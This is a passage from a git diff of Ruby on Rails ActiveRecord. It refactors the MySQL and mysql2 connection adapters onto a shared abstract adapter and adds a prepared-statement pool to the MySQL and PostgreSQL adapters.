'matt_development', :charset => :big5 - def create_database(name, options = {}) - if options[:collation] - execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}` COLLATE `#{options[:collation]}`" - else - execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}`" - end - end - - # Drops a MySQL database. - # - # Example: - # drop_database('sebastian_development') - def drop_database(name) #:nodoc: - execute "DROP DATABASE IF EXISTS `#{name}`" - end - - def current_database - select_value 'SELECT DATABASE() as db' - end - - # Returns the database character set. - def charset - show_variable 'character_set_database' - end - - # Returns the database collation strategy. - def collation - show_variable 'collation_database' - end - - def tables(name = nil, database = nil) #:nodoc: - sql = ["SHOW TABLES", database].compact.join(' IN ') - execute(sql, 'SCHEMA').collect do |field| - field.first - end - end - - def table_exists?(name) - return true if super - - name = name.to_s - schema, table = name.split('.', 2) - - unless table # A table was provided without a schema - table = schema - schema = nil - end - - tables(nil, schema).include? table - end - - # Returns an array of indexes for the given table. - def indexes(table_name, name = nil) - indexes = [] - current_index = nil - result = execute("SHOW KEYS FROM #{quote_table_name(table_name)}", 'SCHEMA') - result.each(:symbolize_keys => true, :as => :hash) do |row| - if current_index != row[:Key_name] - next if row[:Key_name] == PRIMARY # skip the primary key - current_index = row[:Key_name] - indexes << Mysql2IndexDefinition.new(row[:Table], row[:Key_name], row[:Non_unique] == 0, [], []) - end - - indexes.last.columns << row[:Column_name] - indexes.last.lengths << row[:Sub_part] - end - indexes - end - - # Returns an array of +Mysql2Column+ objects for the table specified by +table_name+. - def columns(table_name, name = nil) - sql = "SHOW FIELDS FROM #{quote_table_name(table_name)}" - columns = [] - result = execute(sql, 'SCHEMA') - result.each(:symbolize_keys => true, :as => :hash) { |field| - columns << Mysql2Column.new(field[:Field], field[:Default], field[:Type], field[:Null] == "YES") - } - columns - end - - def create_table(table_name, options = {}) - super(table_name, options.reverse_merge(:options => "ENGINE=InnoDB")) - end - - # Renames a table. - # - # Example: - # rename_table('octopuses', 'octopi') - def rename_table(table_name, new_name) - execute "RENAME TABLE #{quote_table_name(table_name)} TO #{quote_table_name(new_name)}" - end - - def add_column(table_name, column_name, type, options = {}) - add_column_sql = "ALTER TABLE #{quote_table_name(table_name)} ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}" - add_column_options!(add_column_sql, options) - add_column_position!(add_column_sql, options) - execute(add_column_sql) - end - - def change_column_default(table_name, column_name, default) - column = column_for(table_name, column_name) - change_column table_name, column_name, column.sql_type, :default => default - end - - def change_column_null(table_name, column_name, null, default = nil) - column = column_for(table_name, column_name) - - unless null || default.nil? - execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL") - end - - change_column table_name, column_name, column.sql_type, :null => null - end - - def change_column(table_name, column_name, type, options = {}) - column = column_for(table_name, column_name) - - unless options_include_default?(options) - options[:default] = column.default - end - - unless options.has_key?(:null) - options[:null] = column.null - end - - change_column_sql = "ALTER TABLE #{quote_table_name(table_name)} CHANGE #{quote_column_name(column_name)} #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}" - add_column_options!(change_column_sql, options) - add_column_position!(change_column_sql, options) - execute(change_column_sql) - end + private - def rename_column(table_name, column_name, new_column_name) - options = {} - if column = columns(table_name).find { |c| c.name == column_name.to_s } - options[:default] = column.default - options[:null] = column.null - else - raise ActiveRecordError, "No such column: #{table_name}.#{column_name}" - end - current_type = select_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE '#{column_name}'")["Type"] - rename_column_sql = "ALTER TABLE #{quote_table_name(table_name)} CHANGE #{quote_column_name(column_name)} #{quote_column_name(new_column_name)} #{current_type}" - add_column_options!(rename_column_sql, options) - execute(rename_column_sql) + def connect + @connection = Mysql2::Client.new(@config) + configure_connection end - # Maps logical Rails types to MySQL-specific data types. - def type_to_sql(type, limit = nil, precision = nil, scale = nil) - return super unless type.to_s == 'integer' - - case limit - when 1; 'tinyint' - when 2; 'smallint' - when 3; 'mediumint' - when nil, 4, 11; 'int(11)' # compatibility with MySQL default - when 5..8; 'bigint' - else raise(ActiveRecordError, "No integer type has byte size #{limit}") - end - end + def configure_connection + @connection.query_options.merge!(:as => :array) - def add_column_position!(sql, options) - if options[:first] - sql << " FIRST" - elsif options[:after] - sql << " AFTER #{quote_column_name(options[:after])}" - end - end + # By default, MySQL 'where id is null' selects the last inserted id. + # Turn this off. http://dev.rubyonrails.org/ticket/6778 + variable_assignments = ['SQL_AUTO_IS_NULL=0'] + encoding = @config[:encoding] - # SHOW VARIABLES LIKE 'name'. - def show_variable(name) - variables = select_all("SHOW VARIABLES LIKE '#{name}'") - variables.first['Value'] unless variables.empty? - end + # make sure we set the encoding + variable_assignments << "NAMES '#{encoding}'" if encoding - # Returns a table's primary key and belonging sequence. - def pk_and_sequence_for(table) - keys = [] - result = execute("DESCRIBE #{quote_table_name(table)}", 'SCHEMA') - result.each(:symbolize_keys => true, :as => :hash) do |row| - keys << row[:Field] if row[:Key] == "PRI" - end - keys.length == 1 ? [keys.first, nil] : nil - end - - # Returns just a table's primary key - def primary_key(table) - pk_and_sequence = pk_and_sequence_for(table) - pk_and_sequence && pk_and_sequence.first - end + # increase timeout so mysql server doesn't disconnect us + wait_timeout = @config[:wait_timeout] + wait_timeout = 2592000 unless wait_timeout.is_a?(Fixnum) + variable_assignments << "@@wait_timeout = #{wait_timeout}" - def case_sensitive_modifier(node) - Arel::Nodes::Bin.new(node) + execute("SET #{variable_assignments.join(', ')}", :skip_logging) end - def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key) - where_sql + def version + @version ||= @connection.info[:version].scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i } end - - protected - def quoted_columns_for_index(column_names, options = {}) - length = options[:length] if options.is_a?(Hash) - - quoted_column_names = case length - when Hash - column_names.map {|name| length[name] ? "#{quote_column_name(name)}(#{length[name]})" : quote_column_name(name) } - when Fixnum - column_names.map {|name| "#{quote_column_name(name)}(#{length})"} - else - column_names.map {|name| quote_column_name(name) } - end - end - - def translate_exception(exception, message) - return super unless exception.respond_to?(:error_number) - - case exception.error_number - when 1062 - RecordNotUnique.new(message, exception) - when 1452 - InvalidForeignKey.new(message, exception) - else - super - end - end - - private - def connect - @connection = Mysql2::Client.new(@config) - configure_connection - end - - def configure_connection - @connection.query_options.merge!(:as => :array) - - # By default, MySQL 'where id is null' selects the last inserted id. - # Turn this off. http://dev.rubyonrails.org/ticket/6778 - variable_assignments = ['SQL_AUTO_IS_NULL=0'] - encoding = @config[:encoding] - - # make sure we set the encoding - variable_assignments << "NAMES '#{encoding}'" if encoding - - # increase timeout so mysql server doesn't disconnect us - wait_timeout = @config[:wait_timeout] - wait_timeout = 2592000 unless wait_timeout.is_a?(Fixnum) - variable_assignments << "@@wait_timeout = #{wait_timeout}" - - execute("SET #{variable_assignments.join(', ')}", :skip_logging) - end - - # Returns an array of record hashes with the column names as keys and - # column values as values. - def select(sql, name = nil, binds = []) - binds = binds.dup - exec_query(sql.gsub("\0") { quote(*binds.shift.reverse) }, name).to_a - end - - def exec_query(sql, name = 'SQL', binds = []) - @connection.query_options[:database_timezone] = ActiveRecord::Base.default_timezone - - log(sql, name, binds) do - begin - result = @connection.query(sql) - rescue ActiveRecord::StatementInvalid => exception - if exception.message.split(":").first =~ /Packets out of order/ - raise ActiveRecord::StatementInvalid, "'Packets out of order' error was received from the database. Please update your mysql bindings (gem install mysql) and read http://dev.mysql.com/doc/mysql/en/password-hashing.html for more information. If you're on Windows, use the Instant Rails installer to get the updated mysql bindings." - else - raise - end - end - - ActiveRecord::Result.new(result.fields, result.to_a) - end - end - - def supports_views? - version[0] >= 5 - end - - def version - @version ||= @connection.info[:version].scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i } - end - - def column_for(table_name, column_name) - unless column = columns(table_name).find { |c| c.name == column_name.to_s } - raise "No such column: #{table_name}.#{column_name}" - end - column - end end end end diff --git a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb index 9e6cb13cca..f092edecda 100644 --- a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb +++ b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb @@ -1,6 +1,6 @@ -require 'active_record/connection_adapters/abstract_adapter' -require 'active_support/core_ext/object/blank' -require 'set' +require 'active_record/connection_adapters/abstract_mysql_adapter' +require 'active_record/connection_adapters/statement_pool' +require 'active_support/core_ext/hash/keys' gem 'mysql', '~> 2.8.1' require 'mysql' @@ -40,9 +40,29 @@ module ActiveRecord end module ConnectionAdapters - class MysqlColumn < Column #:nodoc: - class << self - def string_to_time(value) + # The MySQL adapter will work with both Ruby/MySQL, which is a Ruby-based MySQL adapter that comes bundled with Active Record, and with + # the faster C-based MySQL/Ruby adapter (available both as a gem and from http://www.tmtm.org/en/mysql/ruby/). + # + # Options: + # + # * <tt>:host</tt> - Defaults to "localhost". + # * <tt>:port</tt> - Defaults to 3306. + # * <tt>:socket</tt> - Defaults to "/tmp/mysql.sock". + # * <tt>:username</tt> - Defaults to "root" + # * <tt>:password</tt> - Defaults to nothing. + # * <tt>:database</tt> - The name of the database. No default, must be provided. + # * <tt>:encoding</tt> - (Optional) Sets the client encoding by executing "SET NAMES <encoding>" after connection. + # * <tt>:reconnect</tt> - Defaults to false (See MySQL documentation: http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html). + # * <tt>:sslca</tt> - Necessary to use MySQL with an SSL connection. + # * <tt>:sslkey</tt> - Necessary to use MySQL with an SSL connection. + # * <tt>:sslcert</tt> - Necessary to use MySQL with an SSL connection. + # * <tt>:sslcapath</tt> - Necessary to use MySQL with an SSL connection. + # * <tt>:sslcipher</tt> - Necessary to use MySQL with an SSL connection. + # + class MysqlAdapter < AbstractMysqlAdapter + + class Column < AbstractMysqlAdapter::Column #:nodoc: + def self.string_to_time(value) return super unless Mysql::Time === value new_time( value.year, @@ -54,230 +74,102 @@ module ActiveRecord value.second_part) end - def string_to_dummy_time(v) + def self.string_to_dummy_time(v) return super unless Mysql::Time === v new_time(2000, 01, 01, v.hour, v.minute, v.second, v.second_part) end - def string_to_date(v) + def self.string_to_date(v) return super unless Mysql::Time === v new_date(v.year, v.month, v.day) end - end - def extract_default(default) - if sql_type =~ /blob/i || type == :text - if default.blank? - return null ? nil : '' - else - raise ArgumentError, "#{type} columns cannot have a default value: #{default.inspect}" - end - elsif missing_default_forged_as_empty_string?(default) - nil - else - super + def adapter + MysqlAdapter end end - def has_default? - return false if sql_type =~ /blob/i || type == :text #mysql forbids defaults on blob and text columns - super - end + ADAPTER_NAME = 'MySQL' - private - def simplified_type(field_type) - return :boolean if MysqlAdapter.emulate_booleans && field_type.downcase.index("tinyint(1)") - return :string if field_type =~ /enum/i + class StatementPool < ConnectionAdapters::StatementPool + def initialize(connection, max = 1000) super + @cache = Hash.new { |h,pid| h[pid] = {} } end - def extract_limit(sql_type) - case sql_type - when /blob|text/i - case sql_type - when /tiny/i - 255 - when /medium/i - 16777215 - when /long/i - 2147483647 # mysql only allows 2^31-1, not 2^32-1, somewhat inconsistently with the tiny/medium/normal cases - else - super # we could return 65535 here, but we leave it undecorated by default - end - when /^bigint/i; 8 - when /^int/i; 4 - when /^mediumint/i; 3 - when /^smallint/i; 2 - when /^tinyint/i; 1 - else - super + def each(&block); cache.each(&block); end + def key?(key); cache.key?(key); end + def [](key); cache[key]; end + def length; cache.length; end + def delete(key); cache.delete(key); end + + def []=(sql, key) + while @max <= cache.size + cache.shift.last[:stmt].close end + cache[sql] = key end - # MySQL misreports NOT NULL column default when none is given. - # We can't detect this for columns which may have a legitimate '' - # default (string) but we can for others (integer, datetime, boolean, - # and the rest). - # - # Test whether the column has default '', is not null, and is not - # a type allowing default ''. - def missing_default_forged_as_empty_string?(default) - type != :string && !null && default == '' + def clear + cache.values.each do |hash| + hash[:stmt].close + end + cache.clear end - end - # The MySQL adapter will work with both Ruby/MySQL, which is a Ruby-based MySQL adapter that comes bundled with Active Record, and with - # the faster C-based MySQL/Ruby adapter (available both as a gem and from http://www.tmtm.org/en/mysql/ruby/). - # - # Options: - # - # * <tt>:host</tt> - Defaults to "localhost". - # * <tt>:port</tt> - Defaults to 3306. - # * <tt>:socket</tt> - Defaults to "/tmp/mysql.sock". - # * <tt>:username</tt> - Defaults to "root" - # * <tt>:password</tt> - Defaults to nothing. - # * <tt>:database</tt> - The name of the database. No default, must be provided. - # * <tt>:encoding</tt> - (Optional) Sets the client encoding by executing "SET NAMES <encoding>" after connection. - # * <tt>:reconnect</tt> - Defaults to false (See MySQL documentation: http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html). - # * <tt>:sslca</tt> - Necessary to use MySQL with an SSL connection. - # * <tt>:sslkey</tt> - Necessary to use MySQL with an SSL connection. - # * <tt>:sslcert</tt> - Necessary to use MySQL with an SSL connection. - # * <tt>:sslcapath</tt> - Necessary to use MySQL with an SSL connection. - # * <tt>:sslcipher</tt> - Necessary to use MySQL with an SSL connection. - # - class MysqlAdapter < AbstractAdapter - - ## - # :singleton-method: - # By default, the MysqlAdapter will consider all columns of type <tt>tinyint(1)</tt> - # as boolean. If you wish to disable this emulation (which was the default - # behavior in versions 0.13.1 and earlier) you can add the following line - # to your application.rb file: - # - # ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans = false - cattr_accessor :emulate_booleans - self.emulate_booleans = true - - ADAPTER_NAME = 'MySQL' - - LOST_CONNECTION_ERROR_MESSAGES = [ - "Server shutdown in progress", - "Broken pipe", - "Lost connection to MySQL server during query", - "MySQL server has gone away" ] - - QUOTED_TRUE, QUOTED_FALSE = '1', '0' - - NATIVE_DATABASE_TYPES = { - :primary_key => "int(11) DEFAULT NULL auto_increment PRIMARY KEY", - :string => { :name => "varchar", :limit => 255 }, - :text => { :name => "text" }, - :integer => { :name => "int", :limit => 4 }, - :float => { :name => "float" }, - :decimal => { :name => "decimal" }, - :datetime => { :name => "datetime" }, - :timestamp => { :name => "datetime" }, - :time => { :name => "time" }, - :date => { :name => "date" }, - :binary => { :name => "blob" }, - :boolean => { :name => "tinyint", :limit => 1 } - } + private + def cache + @cache[$$] + end + end def initialize(connection, logger, connection_options, config) - super(connection, logger) - @connection_options, @config = connection_options, config - @quoted_column_names, @quoted_table_names = {}, {} - @statements = {} + super + @statements = StatementPool.new(@connection, + config.fetch(:statement_limit) { 1000 }) @client_encoding = nil connect end - def adapter_name #:nodoc: - ADAPTER_NAME - end - - def supports_bulk_alter? #:nodoc: - true - end - # Returns true, since this connection adapter supports prepared statement # caching. def supports_statement_cache? true end - # Returns true, since this connection adapter supports migrations. - def supports_migrations? #:nodoc: - true - end + # HELPER METHODS =========================================== - # Returns true. - def supports_primary_key? #:nodoc: - true + def each_hash(result) # :nodoc: + if block_given? + result.each_hash do |row| + row.symbolize_keys! + yield row + end + else + to_enum(:each_hash, result) + end end - # Returns true, since this connection adapter supports savepoints. - def supports_savepoints? #:nodoc: - true + def new_column(field, default, type, null, collation) # :nodoc: + Column.new(field, default, type, null, collation) end - def native_database_types #:nodoc: - NATIVE_DATABASE_TYPES + def error_number(exception) # :nodoc: + exception.errno if exception.respond_to?(:errno) end - # QUOTING ================================================== - def quote(value, column = nil) - if value.kind_of?(String) && column && column.type == :binary && column.class.respond_to?(:string_to_binary) - s = column.class.string_to_binary(value).unpack("H*")[0] - "x'#{s}'" - elsif value.kind_of?(BigDecimal) - value.to_s("F") - else - super - end - end - def type_cast(value, column) return super unless value == true || value == false value ? 1 : 0 end - def quote_column_name(name) #:nodoc: - @quoted_column_names[name] ||= "`#{name}`" - end - - def quote_table_name(name) #:nodoc: - @quoted_table_names[name] ||= quote_column_name(name).gsub('.', '`.`') - end - def quote_string(string) #:nodoc: @connection.quote(string) end - def quoted_true - QUOTED_TRUE - end - - def quoted_false - QUOTED_FALSE - end - - # REFERENTIAL INTEGRITY ==================================== - - def disable_referential_integrity #:nodoc: - old = select_value("SELECT @@FOREIGN_KEY_CHECKS") - - begin - update("SET FOREIGN_KEY_CHECKS = 0") - yield - ensure - update("SET FOREIGN_KEY_CHECKS = #{old}") - end - end - # CONNECTION MANAGEMENT ==================================== def active? @@ -329,9 +221,6 @@ module ActiveRecord # Clears the prepared statements cache. def clear_cache! - @statements.values.each do |cache| - cache[:stmt].close - end @statements.clear end @@ -421,20 +310,11 @@ module ActiveRecord end end - # Executes an SQL query and returns a MySQL::Result object. Note that you have to free - # the Result object after you're done using it. - def execute(sql, name = nil) #:nodoc: - if name == :skip_logging - @connection.query(sql) - else - log(sql, name) { @connection.query(sql) } - end - rescue ActiveRecord::StatementInvalid => exception - if exception.message.split(":").first =~ /Packets out of order/ - raise ActiveRecord::StatementInvalid, "'Packets out of order' error was received from the database. Please update your mysql bindings (gem install mysql) and read http://dev.mysql.com/doc/mysql/en/password-hashing.html for more information. If you're on Windows, use the Instant Rails installer to get the updated mysql bindings." - else - raise - end + def execute_and_free(sql, name = nil) + result = execute(sql, name) + ret = yield result + result.free + ret end def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) #:nodoc: @@ -443,11 +323,6 @@ module ActiveRecord end alias :create :insert_sql - def update_sql(sql, name = nil) #:nodoc: - super - @connection.affected_rows - end - def exec_delete(sql, name, binds) log(sql, name, binds) do exec_stmt(sql, name, binds) do |cols, stmt| @@ -463,337 +338,8 @@ module ActiveRecord # Transactions aren't supported end - def commit_db_transaction #:nodoc: - execute "COMMIT" - rescue Exception - # Transactions aren't supported - end - - def rollback_db_transaction #:nodoc: - execute "ROLLBACK" - rescue Exception - # Transactions aren't supported - end - - def create_savepoint - execute("SAVEPOINT #{current_savepoint_name}") - end - - def rollback_to_savepoint - execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}") - end - - def release_savepoint - execute("RELEASE SAVEPOINT #{current_savepoint_name}") - end - - # SCHEMA STATEMENTS ======================================== - - def structure_dump #:nodoc: - if supports_views? - sql = "SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'" - else - sql = "SHOW TABLES" - end - - select_all(sql).map do |table| - table.delete('Table_type') - sql = "SHOW CREATE TABLE #{quote_table_name(table.to_a.first.last)}" - exec_without_stmt(sql).first['Create Table'] + ";\n\n" - end.join("") - end - - # Drops the database specified on the +name+ attribute - # and creates it again using the provided +options+. - def recreate_database(name, options = {}) #:nodoc: - drop_database(name) - create_database(name, options) - end - - # Create a new MySQL database with optional <tt>:charset</tt> and <tt>:collation</tt>. - # Charset defaults to utf8. - # - # Example: - # create_database 'charset_test', :charset => 'latin1', :collation => 'latin1_bin' - # create_database 'matt_development' - # create_database 'matt_development', :charset => :big5 - def create_database(name, options = {}) - if options[:collation] - execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}` COLLATE `#{options[:collation]}`" - else - execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}`" - end - end - - # Drops a MySQL database. - # - # Example: - # drop_database 'sebastian_development' - def drop_database(name) #:nodoc: - execute "DROP DATABASE IF EXISTS `#{name}`" - end - - def current_database - select_value 'SELECT DATABASE() as db' - end - - # Returns the database character set. - def charset - show_variable 'character_set_database' - end - - # Returns the database collation strategy. - def collation - show_variable 'collation_database' - end - - def tables(name = nil, database = nil) #:nodoc: - result = execute(["SHOW TABLES", database].compact.join(' IN '), 'SCHEMA') - tables = result.collect { |field| field[0] } - result.free - tables - end - - def table_exists?(name) - return true if super - - name = name.to_s - schema, table = name.split('.', 2) - - unless table # A table was provided without a schema - table = schema - schema = nil - end - - tables(nil, schema).include? table - end - - # Returns an array of indexes for the given table. - def indexes(table_name, name = nil)#:nodoc: - indexes = [] - current_index = nil - result = execute("SHOW KEYS FROM #{quote_table_name(table_name)}", name) - result.each do |row| - if current_index != row[2] - next if row[2] == "PRIMARY" # skip the primary key - current_index = row[2] - indexes << IndexDefinition.new(row[0], row[2], row[1] == "0", [], []) - end - - indexes.last.columns << row[4] - indexes.last.lengths << row[7] - end - result.free - indexes - end - - # Returns an array of +MysqlColumn+ objects for the table specified by +table_name+. - def columns(table_name, name = nil)#:nodoc: - sql = "SHOW FIELDS FROM #{quote_table_name(table_name)}" - result = execute(sql, 'SCHEMA') - columns = result.collect { |field| MysqlColumn.new(field[0], field[4], field[1], field[2] == "YES") } - result.free - columns - end - - def create_table(table_name, options = {}) #:nodoc: - super(table_name, options.reverse_merge(:options => "ENGINE=InnoDB")) - end - - # Renames a table. - # - # Example: - # rename_table('octopuses', 'octopi') - def rename_table(table_name, new_name) - execute "RENAME TABLE #{quote_table_name(table_name)} TO #{quote_table_name(new_name)}" - end - - def bulk_change_table(table_name, operations) #:nodoc: - sqls = operations.map do |command, args| - table, arguments = args.shift, args - method = :"#{command}_sql" - - if respond_to?(method) - send(method, table, *arguments) - else - raise "Unknown method called : #{method}(#{arguments.inspect})" - end - end.flatten.join(", ") - - execute("ALTER TABLE #{quote_table_name(table_name)} #{sqls}") - end - - def add_column(table_name, column_name, type, options = {}) - execute("ALTER TABLE #{quote_table_name(table_name)} #{add_column_sql(table_name, column_name, type, options)}") - end - - def change_column_default(table_name, column_name, default) #:nodoc: - column = column_for(table_name, column_name) - change_column table_name, column_name, column.sql_type, :default => default - end - - def change_column_null(table_name, column_name, null, default = nil) - column = column_for(table_name, column_name) - - unless null || default.nil? - execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL") - end - - change_column table_name, column_name, column.sql_type, :null => null - end - - def change_column(table_name, column_name, type, options = {}) #:nodoc: - execute("ALTER TABLE #{quote_table_name(table_name)} #{change_column_sql(table_name, column_name, type, options)}") - end - - def rename_column(table_name, column_name, new_column_name) #:nodoc: - execute("ALTER TABLE #{quote_table_name(table_name)} #{rename_column_sql(table_name, column_name, new_column_name)}") - end - - # Maps logical Rails types to MySQL-specific data types. - def type_to_sql(type, limit = nil, precision = nil, scale = nil) - return super unless type.to_s == 'integer' - - case limit - when 1; 'tinyint' - when 2; 'smallint' - when 3; 'mediumint' - when nil, 4, 11; 'int(11)' # compatibility with MySQL default - when 5..8; 'bigint' - else raise(ActiveRecordError, "No integer type has byte size #{limit}") - end - end - - def add_column_position!(sql, options) - if options[:first] - sql << " FIRST" - elsif options[:after] - sql << " AFTER #{quote_column_name(options[:after])}" - end - end - - # SHOW VARIABLES LIKE 'name' - def show_variable(name) - variables = select_all("SHOW VARIABLES LIKE '#{name}'") - variables.first['Value'] unless variables.empty? - end - - # Returns a table's primary key and belonging sequence. - def pk_and_sequence_for(table) #:nodoc: - keys = [] - result = execute("describe #{quote_table_name(table)}", 'SCHEMA') - result.each_hash do |h| - keys << h["Field"]if h["Key"] == "PRI" - end - result.free - keys.length == 1 ? [keys.first, nil] : nil - end - - # Returns just a table's primary key - def primary_key(table) - pk_and_sequence = pk_and_sequence_for(table) - pk_and_sequence && pk_and_sequence.first - end - - def case_sensitive_modifier(node) - Arel::Nodes::Bin.new(node) - end - - def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key) - where_sql - end - - protected - def quoted_columns_for_index(column_names, options = {}) - length = options[:length] if options.is_a?(Hash) - - case length - when Hash - column_names.map {|name| length[name] ? "#{quote_column_name(name)}(#{length[name]})" : quote_column_name(name) } - when Fixnum - column_names.map {|name| "#{quote_column_name(name)}(#{length})"} - else - column_names.map {|name| quote_column_name(name) } - end - end - - def translate_exception(exception, message) - return super unless exception.respond_to?(:errno) - - case exception.errno - when 1062 - RecordNotUnique.new(message, exception) - when 1452 - InvalidForeignKey.new(message, exception) - else - super - end - end - - def add_column_sql(table_name, column_name, type, options = {}) - add_column_sql = "ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}" - add_column_options!(add_column_sql, options) - add_column_position!(add_column_sql, options) - add_column_sql - end - - def remove_column_sql(table_name, *column_names) - columns_for_remove(table_name, *column_names).map {|column_name| "DROP #{column_name}" } - end - alias :remove_columns_sql :remove_column - - def change_column_sql(table_name, column_name, type, options = {}) - column = column_for(table_name, column_name) - - unless options_include_default?(options) - options[:default] = column.default - end - - unless options.has_key?(:null) - options[:null] = column.null - end - - change_column_sql = "CHANGE #{quote_column_name(column_name)} #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}" - add_column_options!(change_column_sql, options) - add_column_position!(change_column_sql, options) - change_column_sql - end - - def rename_column_sql(table_name, column_name, new_column_name) - options = {} - - if column = columns(table_name).find { |c| c.name == column_name.to_s } - options[:default] = column.default - options[:null] = column.null - else - raise ActiveRecordError, "No such column: #{table_name}.#{column_name}" - end - - current_type = select_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE '#{column_name}'")["Type"] - rename_column_sql = "CHANGE #{quote_column_name(column_name)} #{quote_column_name(new_column_name)} #{current_type}" - add_column_options!(rename_column_sql, options) - rename_column_sql - end - - def add_index_sql(table_name, column_name, options = {}) - index_name, index_type, index_columns = add_index_options(table_name, column_name, options) - "ADD #{index_type} INDEX #{index_name} (#{index_columns})" - end - - def remove_index_sql(table_name, options = {}) - index_name = index_name_for_remove(table_name, options) - "DROP INDEX #{index_name}" - end - - def add_timestamps_sql(table_name) - [add_column_sql(table_name, :created_at, :datetime), add_column_sql(table_name, :updated_at, :datetime)] - end - - def remove_timestamps_sql(table_name) - [remove_column_sql(table_name, :updated_at), remove_column_sql(table_name, :created_at)] - end - private + def exec_stmt(sql, name, binds) cache = {} if binds.empty? @@ -805,7 +351,6 @@ module ActiveRecord stmt = cache[:stmt] end - begin stmt.execute(*binds.map { |col, val| type_cast(val, col) }) rescue Mysql::Error => e @@ -834,59 +379,48 @@ module ActiveRecord result end - def connect - encoding = @config[:encoding] - if encoding - @connection.options(Mysql::SET_CHARSET_NAME, encoding) rescue nil - end - - if @config[:sslca] || @config[:sslkey] - @connection.ssl_set(@config[:sslkey], @config[:sslcert], @config[:sslca], @config[:sslcapath], @config[:sslcipher]) - end - - @connection.options(Mysql::OPT_CONNECT_TIMEOUT, @config[:connect_timeout]) if @config[:connect_timeout] - @connection.options(Mysql::OPT_READ_TIMEOUT, @config[:read_timeout]) if @config[:read_timeout] - @connection.options(Mysql::OPT_WRITE_TIMEOUT, @config[:write_timeout]) if @config[:write_timeout] + def connect + encoding = @config[:encoding] + if encoding + @connection.options(Mysql::SET_CHARSET_NAME, encoding) rescue nil + end - @connection.real_connect(*@connection_options) + if @config[:sslca] || @config[:sslkey] + @connection.ssl_set(@config[:sslkey], @config[:sslcert], @config[:sslca], @config[:sslcapath], @config[:sslcipher]) + end - # reconnect must be set after real_connect is called, because real_connect sets it to false internally - @connection.reconnect = !!@config[:reconnect] if @connection.respond_to?(:reconnect=) + @connection.options(Mysql::OPT_CONNECT_TIMEOUT, @config[:connect_timeout]) if @config[:connect_timeout] + @connection.options(Mysql::OPT_READ_TIMEOUT, @config[:read_timeout]) if @config[:read_timeout] + @connection.options(Mysql::OPT_WRITE_TIMEOUT, @config[:write_timeout]) if @config[:write_timeout] - configure_connection - end + @connection.real_connect(*@connection_options) - def configure_connection - encoding = @config[:encoding] - execute("SET NAMES '#{encoding}'", :skip_logging) if encoding + # reconnect must be set after real_connect is called, because real_connect sets it to false internally + @connection.reconnect = !!@config[:reconnect] if @connection.respond_to?(:reconnect=) - # By default, MySQL 'where id is null' selects the last inserted id. - # Turn this off. http://dev.rubyonrails.org/ticket/6778 - execute("SET SQL_AUTO_IS_NULL=0", :skip_logging) - end + configure_connection + end - def select(sql, name = nil, binds = []) - @connection.query_with_result = true - rows = exec_query(sql, name, binds).to_a - @connection.more_results && @connection.next_result # invoking stored procedures with CLIENT_MULTI_RESULTS requires this to tidy up else connection will be dropped - rows - end + def configure_connection + encoding = @config[:encoding] + execute("SET NAMES '#{encoding}'", :skip_logging) if encoding - def supports_views? - version[0] >= 5 - end + # By default, MySQL 'where id is null' selects the last inserted id. + # Turn this off. http://dev.rubyonrails.org/ticket/6778 + execute("SET SQL_AUTO_IS_NULL=0", :skip_logging) + end - # Returns the version of the connected MySQL server. - def version - @version ||= @connection.server_info.scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i } - end + def select(sql, name = nil, binds = []) + @connection.query_with_result = true + rows = exec_query(sql, name, binds).to_a + @connection.more_results && @connection.next_result # invoking stored procedures with CLIENT_MULTI_RESULTS requires this to tidy up else connection will be dropped + rows + end - def column_for(table_name, column_name) - unless column = columns(table_name).find { |c| c.name == column_name.to_s } - raise "No such column: #{table_name}.#{column_name}" - end - column - end + # Returns the version of the connected MySQL server. + def version + @version ||= @connection.server_info.scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i } + end end end end diff --git a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb index a84f73c73f..d859843260 100644 --- a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb +++ b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb @@ -1,5 +1,6 @@ require 'active_record/connection_adapters/abstract_adapter' require 'active_support/core_ext/object/blank' +require 'active_record/connection_adapters/statement_pool' # Make sure we're using pg high enough for PGResult#values gem 'pg', '~> 0.11' @@ -246,6 +247,47 @@ module ActiveRecord true end + class StatementPool < ConnectionAdapters::StatementPool + def initialize(connection, max) + super + @counter = 0 + @cache = Hash.new { |h,pid| h[pid] = {} } + end + + def each(&block); cache.each(&block); end + def key?(key); cache.key?(key); end + def [](key); cache[key]; end + def 